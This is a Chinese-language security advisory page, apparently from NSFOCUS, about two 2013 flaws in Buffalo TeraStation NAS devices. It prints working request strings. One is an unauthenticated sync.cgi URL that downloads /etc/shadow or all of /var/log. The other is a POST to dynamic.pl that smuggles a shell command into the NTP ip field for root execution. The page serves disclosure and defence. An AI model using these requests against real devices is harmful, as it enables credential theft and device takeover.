安全研究

安全漏洞
Buffalo TeraStation TS-Series sync.cgi未认证任意文件下载漏洞

发布日期:2013-01-30
更新日期:2013-01-31

受影响系统:
buffalotech TeraStation
描述:
BUGTRAQ  ID: 57634

Buffalo TeraStation NAS是提供集中式存储和备份解决方案的一款软件。

Buffalo TeraStation TS系列在请求未保护的cgi时,可能会允许未认证的用户下载任意系统文件,包括/etc/shadow。 使用密钥"all",可能会下载整个/var/log目录。

<*来源:Andrea Fabrizi (andrea.fabrizi@gmail.com
  
  链接:http://seclists.org/fulldisclosure/2013/Jan/261?utm_source=twitterfeed&utm_medium=twitter
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1]======== sync.cgi unauthenticated arbitrary file download ========
Requesting an unprotected cgi, it's possible, for an unauthenticated
user, to download any system file, included /etc/shadow, that contains
the password shadows for the application/system users.

/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=/etc/shadow

Moreover, using the key "all" it's possible to download the entire
/var/log directory:

/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=all

2]======== dynamic.pl NTP command injection ========
This vulnerability allows authenticated users to execute arbitrary
commands on the system with root privileges.

This is a sample request:
#####################################
POST /dynamic.pl HTTP/1.1
Content-Length: 89
Cookie: webui_session_admin=xxxxxxxxxxxxxxxxxxxxxx_en_0

bufaction=setDTSettings&dateMethod=on
&ip=www.google.it%26%26[COMMAND]>/tmp/output
&syncFreq=1d
#####################################

建议:
厂商补丁:

buffalotech
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.buffalotech.com/

浏览次数:4224
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障